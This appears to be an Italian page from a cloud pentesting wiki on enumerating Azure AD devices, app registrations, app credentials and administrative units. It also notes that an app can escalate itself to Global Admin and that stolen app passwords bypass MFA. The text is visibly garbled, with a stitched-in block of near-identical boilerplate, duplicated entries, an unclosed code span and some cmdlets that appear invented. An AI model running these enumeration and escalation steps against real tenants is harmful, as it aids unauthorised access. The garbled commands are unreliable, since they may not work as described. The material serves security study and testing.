# If you know how to do this send a PR!# Enumerate DevicesGet-AzureADDevice -All $true | fl *# List all the active devices (and not the stale devices)Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}# Get owners of all devicesGet-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwnerGet-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}# Registred users of all the devicesGet-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUserGet-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}# Get dives managed using IntuneGet-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}# Get devices owned by a userGet-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com# Get Administrative Units of a deviceGet-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }

Se un dispositivo (VM) è AzureAD joinato, gli utenti di AzureAD saranno in grado di effettuare il login. Inoltre, se l'utente connesso è Proprietario del dispositivo, sarà amministratore locale.

Applicazioni

Le App sono Registrazioni App nel portale (non Applicazioni Enterprise). Ma ogni Registrazione App creerà un'Applicazione Enterprise (Service Principal) con lo stesso nome. Inoltre, se l'App è un'App multi-tenant, verrà creata un'altra App Enterprise (Service Principal) in quel tenant con lo stesso nome.

Quando viene generata un'App, vengono forniti 2 tipi di autorizzazioni:

  • Autorizzazioni fornite al Service Principal

  • Autorizzazioni che l'app può avere e utilizzare a nome dell'utente.

# List Appsaz ad app listaz ad app list --query "[].[displayName]" -o table# Get info of 1 Appaz ad app show --id 00000000-0000-0000-0000-000000000000# Search App by stringaz ad app list --query "[?contains(displayName,'app')].displayName"# Get the owner of an applicationaz ad app owner list --id <id> --query "[].[displayName]" -o table# List all the apps with an application passwordaz ad app list --query "[?passwordCredentials != null].displayName"# List apps that have key credentials (use of certificate authentication)az ad app list --query "[?keyCredentials != null].displayName"# List all registered applicationsGet-AzureADApplication -All $true# Get details of an applicationGet-AzureADApplication -ObjectId <id> | fl *# List all the apps with an application passwordGet-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}# Get owner of an applicationGet-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *Az PowerShellInstallazionePer utilizzare il modulo Az PowerShell, è necessario installarlo. Ecco come farlo:Install-Module -Name Az -AllowClobber -Scope CurrentUserConnessione ad Azure ADPer connettersi ad Azure AD utilizzando Az PowerShell, è possibile utilizzare il comando Connect-AzAccount. Sarà richiesto di accedere con le credenziali dell'account Azure.Connect-AzAccountOttenere informazioni sull'utente correntePer ottenere informazioni sull'utente corrente connesso ad Azure AD, è possibile utilizzare il comando Get-AzADUser. Questo comando restituirà una serie di informazioni sull'utente, come il nome, l'ID, il ruolo e altro ancora.Get-AzADUserOttenere informazioni sui gruppiPer ottenere informazioni sui gruppi presenti in Azure AD, è possibile utilizzare il comando Get-AzADGroup. Questo comando restituirà una lista di gruppi con informazioni come il nome, l'ID, i membri e altro ancora.Get-AzADGroupOttenere informazioni sui ruoliPer ottenere informazioni sui ruoli presenti in Azure AD, è possibile utilizzare il comando Get-AzADRoleDefinition. Questo comando restituirà una lista di ruoli con informazioni come il nome, l'ID, le autorizzazioni e altro ancora.Get-AzADRoleDefinitionOttenere informazioni sulle app registratePer ottenere informazioni sulle app registrate in Azure AD, è possibile utilizzare il comando Get-AzADApplication. Questo comando restituirà una lista di app con informazioni come il nome, l'ID, i proprietari e altro ancora.Get-AzADApplicationOttenere informazioni sulle sottoscrizioniPer ottenere informazioni sulle sottoscrizioni associate all'account Azure, è possibile utilizzare il comando Get-AzSubscription. Questo comando restituirà una lista di sottoscrizioni con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzSubscriptionOttenere informazioni sulle risorsePer ottenere informazioni sulle risorse presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzResource. Questo comando restituirà una lista di risorse con informazioni come il nome, il tipo, la posizione e altro ancora.Get-AzResourceOttenere informazioni sulle policy di AzurePer ottenere informazioni sulle policy di Azure associate a una sottoscrizione, è possibile utilizzare il comando Get-AzPolicyAssignment. Questo comando restituirà una lista di policy con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzPolicyAssignmentOttenere informazioni sulle reti virtualiPer ottenere informazioni sulle reti virtuali presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualNetwork. Questo comando restituirà una lista di reti virtuali con informazioni come il nome, l'ID, l'intervallo di indirizzi e altro ancora.Get-AzVirtualNetworkOttenere informazioni sugli account di archiviazionePer ottenere informazioni sugli account di archiviazione presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzStorageAccount. Questo comando restituirà una lista di account di archiviazione con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzStorageAccountOttenere informazioni sui gruppi di sicurezza di retePer ottenere informazioni sui gruppi di sicurezza di rete presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzNetworkSecurityGroup. Questo comando restituirà una lista di gruppi di sicurezza di rete con informazioni come il nome, l'ID, le regole e altro ancora.Get-AzNetworkSecurityGroupOttenere informazioni sui log di monitoraggioPer ottenere informazioni sui log di monitoraggio presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLog. Questo comando restituirà una lista di log di monitoraggio con informazioni come l'ID, il tipo, il livello e altro ancora.Get-AzLogOttenere informazioni sulle macchine virtualiPer ottenere informazioni sulle macchine virtuali presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVM. Questo comando restituirà una lista di macchine virtuali con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzVMOttenere informazioni sui servizi appPer ottenere informazioni sui servizi app presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzWebApp. Questo comando restituirà una lista di servizi app con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzWebAppOttenere informazioni sui database SQLPer ottenere informazioni sui database SQL presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSqlDatabase. Questo comando restituirà una lista di database SQL con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzSqlDatabaseOttenere informazioni sui servizi di bilanciamento del caricoPer ottenere informazioni sui servizi di bilanciamento del carico presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLoadBalancer. Questo comando restituirà una lista di servizi di bilanciamento del carico con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzLoadBalancerOttenere informazioni sui servizi di Azure KubernetesPer ottenere informazioni sui servizi di Azure Kubernetes presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzAksCluster. Questo comando restituirà una lista di servizi di Azure Kubernetes con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzAksClusterOttenere informazioni sui servizi di Azure Container RegistryPer ottenere informazioni sui servizi di Azure Container Registry presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzContainerRegistry. Questo comando restituirà una lista di servizi di Azure Container Registry con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzContainerRegistryOttenere informazioni sui servizi di Azure FunctionsPer ottenere informazioni sui servizi di Azure Functions presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFunctionApp. Questo comando restituirà una lista di servizi di Azure Functions con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzFunctionAppOttenere informazioni sui servizi di Azure Logic AppsPer ottenere informazioni sui servizi di Azure Logic Apps presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLogicApp. Questo comando restituirà una lista di servizi di Azure Logic Apps con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzLogicAppOttenere informazioni sui servizi di Azure Event GridPer ottenere informazioni sui servizi di Azure Event Grid presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzEventGridTopic. Questo comando restituirà una lista di servizi di Azure Event Grid con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzEventGridTopicOttenere informazioni sui servizi di Azure Event HubPer ottenere informazioni sui servizi di Azure Event Hub presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzEventHubNamespace. Questo comando restituirà una lista di servizi di Azure Event Hub con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzEventHubNamespaceOttenere informazioni sui servizi di Azure Service BusPer ottenere informazioni sui servizi di Azure Service Bus presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzServiceBusNamespace. Questo comando restituirà una lista di servizi di Azure Service Bus con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzServiceBusNamespaceOttenere informazioni sui servizi di Azure Key VaultPer ottenere informazioni sui servizi di Azure Key Vault presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzKeyVault. Questo comando restituirà una lista di servizi di Azure Key Vault con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzKeyVaultOttenere informazioni sui servizi di Azure Cognitive SearchPer ottenere informazioni sui servizi di Azure Cognitive Search presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSearchService. Questo comando restituirà una lista di servizi di Azure Cognitive Search con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzSearchServiceOttenere informazioni sui servizi di Azure Redis CachePer ottenere informazioni sui servizi di Azure Redis Cache presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzRedisCache. Questo comando restituirà una lista di servizi di Azure Redis Cache con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzRedisCacheOttenere informazioni sui servizi di Azure CDNPer ottenere informazioni sui servizi di Azure CDN presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzCdnProfile. Questo comando restituirà una lista di servizi di Azure CDN con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzCdnProfileOttenere informazioni sui servizi di Azure Traffic ManagerPer ottenere informazioni sui servizi di Azure Traffic Manager presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzTrafficManagerProfile. Questo comando restituirà una lista di servizi di Azure Traffic Manager con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzTrafficManagerProfileOttenere informazioni sui servizi di Azure Front DoorPer ottenere informazioni sui servizi di Azure Front Door presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFrontDoor. Questo comando restituirà una lista di servizi di Azure Front Door con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzFrontDoorOttenere informazioni sui servizi di Azure App ConfigurationPer ottenere informazioni sui servizi di Azure App Configuration presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzAppConfigurationStore. Questo comando restituirà una lista di servizi di Azure App Configuration con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzAppConfigurationStoreOttenere informazioni sui servizi di Azure DatabricksPer ottenere informazioni sui servizi di Azure Databricks presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzDatabricksWorkspace. Questo comando restituirà una lista di servizi di Azure Databricks con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzDatabricksWorkspaceOttenere informazioni sui servizi di Azure Synapse AnalyticsPer ottenere informazioni sui servizi di Azure Synapse Analytics presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSynapseWorkspace. Questo comando restituirà una lista di servizi di Azure Synapse Analytics con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzSynapseWorkspaceOttenere informazioni sui servizi di Azure Machine LearningPer ottenere informazioni sui servizi di Azure Machine Learning presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzMlWorkspace. Questo comando restituirà una lista di servizi di Azure Machine Learning con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzMlWorkspaceOttenere informazioni sui servizi di Azure Data FactoryPer ottenere informazioni sui servizi di Azure Data Factory presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzDataFactoryV2. Questo comando restituirà una lista di servizi di Azure Data Factory con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzDataFactoryV2Ottenere informazioni sui servizi di Azure Logic AppsPer ottenere informazioni sui servizi di Azure Logic Apps presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLogicApp. Questo comando restituirà una lista di servizi di Azure Logic Apps con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzLogicAppOttenere informazioni sui servizi di Azure API ManagementPer ottenere informazioni sui servizi di Azure API Management presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzApiManagementService. Questo comando restituirà una lista di servizi di Azure API Management con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzApiManagementServiceOttenere informazioni sui servizi di Azure BatchPer ottenere informazioni sui servizi di Azure Batch presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzBatchAccount. Questo comando restituirà una lista di servizi di Azure Batch con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzBatchAccountOttenere informazioni sui servizi di Azure Cognitive ServicesPer ottenere informazioni sui servizi di Azure Cognitive Services presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzCognitiveServicesAccount. Questo comando restituirà una lista di servizi di Azure Cognitive Services con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzCognitiveServicesAccountOttenere informazioni sui servizi di Azure Media ServicesPer ottenere informazioni sui servizi di Azure Media Services presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzMediaService. Questo comando restituirà una lista di servizi di Azure Media Services con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzMediaServiceOttenere informazioni sui servizi di Azure HDInsightPer ottenere informazioni sui servizi di Azure HDInsight presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzHDInsightCluster. Questo comando restituirà una lista di servizi di Azure HDInsight con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzHDInsightClusterOttenere informazioni sui servizi di Azure DevOpsPer ottenere informazioni sui servizi di Azure DevOps presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzDevOpsOrganization. Questo comando restituirà una lista di servizi di Azure DevOps con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzDevOpsOrganizationOttenere informazioni sui servizi di Azure Security CenterPer ottenere informazioni sui servizi di Azure Security Center presenti in una sottoscrizione, è possibile utilizzare il comando `Get-AzSecurityWorkspace# Get AppsGet-AzADApplication# Get details of one AppGet-AzADApplication -ObjectId <id># Get App searching by stringGet-AzADApplication | ?{$_.DisplayName -match "app"}# Get Apps with passwordGet-AzADAppCredential

Un'app con il permesso AppRoleAssignment.ReadWrite può elevare i privilegi a Global Admin concedendosi il ruolo. Per ulteriori informazioni controlla qui.

Una stringa segreta che l'applicazione utilizza per dimostrare la sua identità durante la richiesta di un token è la password dell'applicazione. Quindi, se trovi questa password puoi accedere come service principal all'interno del tenant. Nota che questa password è visibile solo quando viene generata (puoi cambiarla ma non puoi ottenerla di nuovo). Il proprietario dell'applicazione può aggiungere una password ad essa (in modo da poterla impersonare). I login come questi service principal non sono contrassegnati come rischiosi e non avranno MFA.

Differenza tra Applicazioni e (Applicazioni Enterprise o Service Principal)

Differenza tra un'applicazione e un Service Principal in Azure:

  • Applicazioni/Registrazioni app: Sono applicazioni che esistono nel tuo Azure AD

  • (Get-AzureADApplication -filter "DisplayName eq 'testapp'")

  • Service Principal/Applicazioni Enterprise: Oggetti di sicurezza nel tuo Azure AD che possono avere privilegi nella Directory di Azure e sono collegati alla tua applicazione o a un'applicazione di terze parti

  • Get-AzureADServicePrincipal -filter "DisplayName eq 'testapp'")

  • Un amministratore potrebbe dover approvare i permessi dati se sono molto sensibili.

Un'applicazione può essere eseguita in un tenant di terze parti e una volta che inizi a usarla e le dai accesso, viene creata un'Applicazione Enterprise/Service Principal nel tuo tenant per fornirle l'accesso alle informazioni di cui ha bisogno:

Unità amministrative

Viene utilizzato per una migliore gestione degli utenti.

Le unità amministrative limitano i permessi di un ruolo a una parte dell'organizzazione che definisci. Ad esempio, potresti utilizzare le unità amministrative per delegare il ruolo di Amministratore del servizio di assistenza a specialisti di supporto regionali, in modo che possano gestire solo gli utenti nella regione che supportano.

Pertanto, puoi assegnare ruoli all'unità amministrativa e i membri di essa avranno questi ruoli.

AzureAD

Azure Active Directory (Azure AD) è un servizio di gestione delle identità e degli accessi basato sul cloud offerto da Microsoft. È progettato per consentire alle organizzazioni di gestire in modo sicuro l'accesso alle risorse cloud e alle applicazioni aziendali.

Scoperta

Durante la fase di scoperta, l'obiettivo è raccogliere informazioni sul tenant di Azure AD e sulle risorse associate ad esso. Ci sono diverse tecniche che possono essere utilizzate per ottenere queste informazioni:

  • Enumerazione degli utenti: cercare di ottenere una lista di utenti all'interno del tenant di Azure AD. Questo può essere fatto utilizzando l'API Graph di Azure AD o sfruttando le funzionalità di ricerca dell'interfaccia di amministrazione di Azure AD.

  • Enumerazione dei gruppi: cercare di ottenere una lista dei gruppi all'interno del tenant di Azure AD. Questo può essere fatto utilizzando l'API Graph di Azure AD o sfruttando le funzionalità di ricerca dell'interfaccia di amministrazione di Azure AD.

  • Enumerazione delle applicazioni: cercare di ottenere una lista delle applicazioni registrate nel tenant di Azure AD. Questo può essere fatto utilizzando l'API Graph di Azure AD o sfruttando le funzionalità di ricerca dell'interfaccia di amministrazione di Azure AD.

  • Enumerazione dei ruoli: cercare di ottenere una lista dei ruoli all'interno del tenant di Azure AD. Questo può essere fatto utilizzando l'API Graph di Azure AD o sfruttando le funzionalità di ricerca dell'interfaccia di amministrazione di Azure AD.

  • Enumerazione delle autorizzazioni: cercare di ottenere una lista delle autorizzazioni concesse alle applicazioni nel tenant di Azure AD. Questo può essere fatto utilizzando l'API Graph di Azure AD o sfruttando le funzionalità di ricerca dell'interfaccia di amministrazione di Azure AD.

Attacchi

Una volta ottenute le informazioni necessarie durante la fase di scoperta, è possibile eseguire diversi tipi di attacchi contro Azure AD:

  • Attacchi di forza bruta: tentare di indovinare le password degli utenti o delle applicazioni nel tenant di Azure AD utilizzando tecniche di forza bruta.

  • Attacchi di phishing: inviare e-mail o messaggi di testo fraudolenti per ottenere le credenziali degli utenti.

  • Attacchi di password spraying: tentare di indovinare le password degli utenti utilizzando una lista di password comuni.

  • Attacchi di pass-the-hash: utilizzare le credenziali hashate degli utenti per ottenere l'accesso alle risorse nel tenant di Azure AD.

  • Attacchi di token impersonation: sfruttare i token di accesso delle applicazioni per impersonare un utente legittimo e ottenere l'accesso alle risorse nel tenant di Azure AD.

  • Attacchi di token theft: rubare i token di accesso delle applicazioni per ottenere l'accesso alle risorse nel tenant di Azure AD.

  • Attacchi di token replay: utilizzare un token di accesso valido per ottenere l'accesso alle risorse nel tenant di Azure AD.

  • Attacchi di token manipulation: manipolare un token di accesso per ottenere privilegi elevati nel tenant di Azure AD.

Mitigazione

Per mitigare i rischi associati ad Azure AD, è possibile adottare le seguenti misure di sicurezza:

  • Implementare la verifica in due passaggi: richiedere agli utenti di fornire un secondo fattore di autenticazione oltre alla password.

  • Monitorare gli accessi anomali: utilizzare strumenti di monitoraggio per rilevare e rispondere agli accessi anomali o sospetti.

  • Limitare i privilegi degli utenti: assegnare solo i privilegi necessari agli utenti e alle applicazioni.

  • Aggiornare regolarmente le password: richiedere agli utenti di aggiornare regolarmente le loro password.

  • Utilizzare certificati per l'autenticazione: utilizzare certificati per autenticare le applicazioni e gli utenti.

  • Implementare il controllo degli accessi basato sui ruoli: assegnare i ruoli in base alle responsabilità degli utenti e limitare l'accesso alle risorse in base a questi ruoli.

  • Monitorare e registrare le attività degli utenti: tenere traccia delle attività degli utenti per rilevare eventuali comportamenti sospetti o anomali.

  • Aggiornare e patchare regolarmente le applicazioni: assicurarsi che le applicazioni siano aggiornate e patchate per mitigare le vulnerabilità note.

  • Educazione degli utenti: fornire formazione e consapevolezza sulla sicurezza agli utenti per ridurre il rischio di attacchi di phishing e altre minacce.

Riferimenti

# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members

Azure AD Identity Protection (AIP)

Azure AD Identity Protection (AIP) è un servizio di sicurezza che utilizza rilevazione e correzione automatica per proteggere le identità degli utenti in Azure Active Directory da compromissioni. AIP monitora e valuta continuamente il rischio di accessi degli utenti e le configurazioni delle identità, applicando automaticamente le misure di sicurezza appropriate, come l'autenticazione a più fattori o il blocco di attività potenzialmente pericolose. Ciò aiuta le organizzazioni a prevenire violazioni della sicurezza basate sull'identità.

Flusso:

  1. Azure AD Identity Protection monitora le attività degli utenti e raccoglie dati sugli accessi degli utenti, gli eventi di autenticazione e altre attività pertinenti.

  2. Il servizio utilizza algoritmi di machine learning per analizzare questi dati e rilevare potenziali minacce alla sicurezza.

  3. Azure AD Identity Protection assegna un livello di rischio alla minaccia (ad esempio, accesso) e genera un avviso se necessario per eseguire un'azione automatica.

Azure AD Password Protection (APP)

Azure AD Password Protection (APP) è una funzionalità di sicurezza che aiuta a prevenire password deboli in Azure Active Directory mediante l'applicazione di politiche di password robuste. APP blocca password deboli comunemente utilizzate e le loro varianti, riducendo il rischio di violazioni legate alle password. Può essere applicato sia a livello di cloud che all'interno di Active Directory in locale, migliorando complessivamente la sicurezza delle password in tutta l'organizzazione.

Riferimenti

Last updated